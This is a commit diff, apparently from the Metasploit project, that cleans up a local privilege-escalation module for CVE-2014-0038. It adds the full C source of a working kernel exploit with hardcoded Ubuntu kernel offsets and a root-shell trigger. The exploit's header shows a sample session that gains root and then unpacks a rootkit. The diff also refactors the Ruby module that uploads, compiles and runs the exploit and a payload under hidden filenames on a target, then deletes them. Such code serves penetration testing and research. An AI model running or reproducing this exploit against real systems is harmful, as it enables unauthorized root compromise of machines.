Land #10092, Cleanup linux/local/recvmmsg_priv_esc
commit
78bcd57694
Binary file not shown.
|
@ -0,0 +1,226 @@
|
|||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
|
||||
takes about 13 minutes to run because timeout->tv_sec is decremented
|
||||
once per second and 0xff*3 is 765.
|
||||
|
||||
some things you could do while waiting:
|
||||
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
|
||||
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
|
||||
* brew some coffee
|
||||
* stare at the countdown giggly with anticipation
|
||||
|
||||
could probably whack the high bits of some pointer with nanoseconds,
|
||||
but that would require a bunch of nulls before the pointer and then
|
||||
reading an oops from dmesg which isn't that elegant.
|
||||
|
||||
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
|
||||
|
||||
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
|
||||
anyway..
|
||||
|
||||
same principle will work on 32bit but I didn't really find any major
|
||||
distros shipping with CONFIG_X86_X32=y
|
||||
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
|
||||
user@ubuntu:~$ ./recvmmsg
|
||||
byte 3 / 3.. ~0 secs left.
|
||||
w00p w00p!
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# sh phalanx-2.6b-x86_64.sh
|
||||
unpacking..
|
||||
|
||||
:)=
|
||||
|
||||
greets to my homeboys kaliman, beist, capsl & all of #social
|
||||
|
||||
Sat Feb 1 22:15:19 CET 2014
|
||||
% rebel %
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct utsname u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
uname(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_base = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
|
||||
fprintf(stderr,"\n");
|
||||
|
||||
trigger();
|
||||
}
|
|
@ -7,346 +7,173 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
|
||||
system call with a crafted timeout pointer parameter to gain root.
|
||||
This exploit has offsets for 3 Ubuntu 13 kernels built in:
|
||||
3.8.0-19-generic (13.04 default)
|
||||
3.11.0-12-generic (13.10 default)
|
||||
3.11.0-15-generic (13.10)
|
||||
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
|
||||
pointer which starts at 0xff*3 (765 seconds)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Module
|
||||
'rebel' # Discovery
|
||||
],
|
||||
'DisclosureDate' => 'Feb 2 2014',
|
||||
'Platform' => [ 'linux'],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Auto', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '31347'],
|
||||
[ 'EDB', '31346'],
|
||||
[ 'CVE', '2014-0038'],
|
||||
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
])
|
||||
'Name' => 'Linux Kernel recvmmsg Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
|
||||
system call with a crafted timeout pointer parameter to gain root.
|
||||
|
||||
This exploit has offsets for 3 Ubuntu 13 kernels:
|
||||
3.8.0-19-generic (13.04 default);
|
||||
3.11.0-12-generic (13.10 default);
|
||||
3.11.0-15-generic (13.10).
|
||||
|
||||
This exploit may take up to 13 minutes to run due to a decrementing
|
||||
(1/sec) pointer which starts at 0xff*3 (765 seconds)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Metasploit module
|
||||
'rebel' # Discovery and exploit
|
||||
],
|
||||
'DisclosureDate' => 'Feb 2 2014',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true },
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '65255' ],
|
||||
[ 'CVE', '2014-0038' ],
|
||||
[ 'EDB', '31347' ],
|
||||
[ 'EDB', '31346' ],
|
||||
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900' ]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
write_file path, data
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data)
|
||||
upload "#{path}.c", data
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
|
||||
output = cmd_exec gcc_cmd
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
||||
end
|
||||
|
||||
cmd_exec "chmod +x #{path}"
|
||||
end
|
||||
|
||||
def exploit_data(file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', file
|
||||
fd = ::File.open path, 'rb'
|
||||
data = fd.read fd.stat.size
|
||||
fd.close
|
||||
data
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
|
||||
if has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
def kernel_vuln?()
|
||||
os_id = cmd_exec('grep ^ID= /etc/os-release')
|
||||
if os_id == 'ID=ubuntu'
|
||||
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
|
||||
case kernel.release.to_s
|
||||
when '3.11.0'
|
||||
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
|
||||
vprint_good("Kernel #{kernel} is exploitable")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
|
||||
return false
|
||||
end
|
||||
when '3.8.0'
|
||||
if kernel == Gem::Version.new('3.8.0-19-generic')
|
||||
vprint_good("Kernel #{kernel} is exploitable")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Non-vuln kernel #{kernel}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Unknown OS: #{os_id}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if kernel_vuln?()
|
||||
return CheckCode::Appears
|
||||
else
|
||||
arch = kernel_hardware
|
||||
unless arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
version = kernel_version
|
||||
unless version.include? 'Ubuntu'
|
||||
vprint_error "System kernel #{version} is not based on Ubuntu"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'System kernel is based on Ubuntu'
|
||||
|
||||
# Ubuntu 12.x kernels are not supported
|
||||
if version.include? 'precise'
|
||||
vprint_error "System kernel #{version} is not exploitable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
release = kernel_release
|
||||
unless release =~ /^3\.11\.0-(12|15)-generic/ || release.eql?('3.8.0-19-generic')
|
||||
print_error "Kernel #{release} #{version} is not exploitable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Kernel #{release} #{version} is exploitable"
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
|
||||
end
|
||||
|
||||
|
||||
# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size
|
||||
|
||||
recvmmsg = %q{
|
||||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct utsname u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
uname(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_base = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
fprintf(stderr,"\n");
|
||||
trigger();
|
||||
}
|
||||
}
|
||||
|
||||
filename = rand_text_alphanumeric(8)
|
||||
executable_path = "#{datastore['WritableDir']}/#{filename}"
|
||||
payloadname = rand_text_alphanumeric(8)
|
||||
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
|
||||
|
||||
def has_prereqs?()
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
end
|
||||
return gcc.include?('gcc')
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if has_prereqs?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
def upload_and_chmod(fname,fcontent)
|
||||
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
|
||||
rm_f fname
|
||||
write_file(fname, fcontent)
|
||||
cmd_exec("chmod +x #{fname}")
|
||||
register_file_for_cleanup(fname)
|
||||
end
|
||||
|
||||
if compile
|
||||
recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
|
||||
"system(\"#{payload_path}\");")
|
||||
upload_and_chmod("#{executable_path}.c", recvmmsg)
|
||||
vprint_status("Compiling #{executable_path}.c")
|
||||
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
|
||||
register_file_for_cleanup(executable_path)
|
||||
# Upload exploit executable
|
||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
executable_path = "#{base_dir}/#{executable_name}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile executable_path, exploit_data('recvmmsg.c')
|
||||
rm_f "#{executable_path}.c"
|
||||
else
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
|
||||
fd = ::File.open( path, "rb")
|
||||
recvmmsg = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
upload_and_chmod(executable_path, recvmmsg)
|
||||
# overwrite with the hardcoded variable names in the compiled versions
|
||||
payload_filename = 'a0RwAacU'
|
||||
payload_path = "/tmp/#{payload_filename}"
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
upload_and_chmodx executable_path, exploit_data('recvmmsg')
|
||||
end
|
||||
|
||||
upload_and_chmod(payload_path, generate_payload_exe)
|
||||
stime = Time.now
|
||||
vprint_status("Exploiting... May take 13min. Start time: #{stime}")
|
||||
output = cmd_exec(executable_path)
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
# Launch exploit
|
||||
timeout = 780
|
||||
print_status "Launching exploit... May take up to 13 minutes. Start time: #{Time.now}"
|
||||
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
print_status "Cleaning up #{payload_path} and #{executable_path}..."
|
||||
rm_f executable_path
|
||||
rm_f payload_path
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue